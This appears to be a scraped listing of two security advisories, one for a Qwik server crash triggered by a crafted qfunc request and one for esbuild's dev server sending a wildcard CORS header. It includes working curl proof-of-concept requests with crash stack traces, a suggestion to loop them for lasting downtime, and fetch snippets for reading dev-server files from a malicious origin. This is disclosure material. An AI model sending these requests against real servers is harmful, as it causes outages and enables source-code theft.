All the vulnerabilities related to the version 1.8.0 of the package
Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
Possibility to craft a request that will crash the Qwik Server in the default configuration.
When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.
pnpm create qwik@latestpnpm run previewcurl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.
The Qwik Server will then crash with the message
qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
triggerUncaughtException(err, true /* fromPromise */);
^
Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
Node.js v21.7.2
The same can also be repeated running Qwik in production using express.
pnpm create qwik@latestpnpm run qwik add expresspnpm run buildpnpm run servecurl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.
There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.
esbuild enables any website to send any requests to the development server and read the response
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
Attack scenario:
http://malicious.example.com).fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:8000/main.js.In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
/index.html: normally you have a script tag here/assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files/esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
npm inpm run watchfetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.Users using the serve feature may get the source code stolen by malicious websites.